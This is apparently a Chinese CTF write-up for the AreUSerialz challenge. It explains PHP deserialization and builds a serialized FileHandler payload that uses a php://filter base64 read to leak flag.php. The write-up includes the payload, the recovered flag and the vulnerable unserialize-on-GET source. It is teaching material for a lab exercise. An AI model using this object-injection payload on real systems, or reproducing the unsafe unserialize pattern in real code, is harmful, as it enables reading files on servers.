练习 23 Web [网鼎杯 2020 青龙组]AreUSerialz

反序列化的执行顺序复习

file_get_content()可以读取php://filter伪协议

参考博客:一篇很全的PHP伪协议总结

打开靶机直接给了我们php代码(贴在最后)

反序列化

复习自己练习17中的内容

本题中出现的两个魔术方法

__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。(构造函数)

__destruct():当对象被销毁时会自动调用。(析构函数)

以及protected属性在序列化的时候需要修改

各访问修饰符序列化后的区别: public:属性被序列化的时候属性名还是原来的属性名,没有任何改变

protected:属性被序列化的时候属性名会变成%00*%00属性名,长度跟随属性名长度而改变

private:属性被序列化的时候属性名会变成%00类名%00属性名,长度跟随属性名长度而改变

根据代码:

  1. GET传参
    同时 if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))要求str全部是可打印字符
  2. 需要op===2,强类型比较后,op置为1,然后执行$this->content = ""; $this->process();
  3. process()中,op==1op==2执行的结果不同,继续看代码
php 复制代码
  public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
  1. 只有read()函数中这个file_get_contents($this->filename);我们可以改参数
    那么需要op==2 第一个属性值确定
    同时这个file_get_contents($this->filename);是读取文件内容,那么练习13中遇到的PHP
    伪造文件读取协议:filename='php://filter/read=convert.base64-encode/resource=./flag.php'
php 复制代码
private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
  1. 最后output输出

那构建原始payload:

php 复制代码
<?php
    class FileHandler{
        protected $op = 2;
        protected $filename='php://filter/read=convert.base64-encode/resource=flag.php';
        protected $content;
    }

    $str = new FileHandler();
    $s = serialize($str);
    echo $s;
?>

手动序列化

这串字符的含义:

变量类型;类名长度;类名;属性变量个数 {属性类型;属性名长度;属性名;属性值类型;属性值长度;属性值内容}

o表示object对象

11 表示对象名称有11个字符

FileHandler 对象名称

3 表示只有3个属性值

s 表示 string 字符串 i 表示数字

php 复制代码
# 最后的N 是指conten这个属性没有赋值
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

复习练习21,注意base64,32,16

这一看就是base64

解码一次flag{f75af198-e117-4c32-b99f-d3bb0cf3a40f}

附题目源码:

php 复制代码
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
相关推荐
黑客Jack3 小时前
属于网络安全规划重安全性需求
安全·web安全·php
数据小小爬虫11 小时前
利用PHP爬虫获取17网(17zwd)商品详情:实战指南
开发语言·爬虫·php
好看资源平台21 小时前
手写识别革命:Manus AI如何攻克多语言混合识别难题(二)
开发语言·人工智能·php
Goober Airy1 天前
PHP:无框架、不配置服务器,仅利用URL规则设置路由
android·java·服务器·php
Jason-河山1 天前
如何在PHP爬虫中处理异常情况的详细指南
开发语言·爬虫·php
Jason-河山1 天前
利用PHP爬虫根据关键词获取17网(17zwd)商品列表:实战指南
开发语言·爬虫·php
Raizeroko1 天前
Linux - 网络套接字
linux·服务器·网络·c++·php
迷路的小犀牛1 天前
JAVA编程【JVM编程】
java·jvm·php
WEB前端圈2 天前
WordPress报502错误问题解决-php-fpm-84.service loaded failed failed LSB: starts php-fpm
开发语言·nginx·php·wordpress
T暴风雪2 天前
Magento2根据图片文件包导入产品图片
php·magento2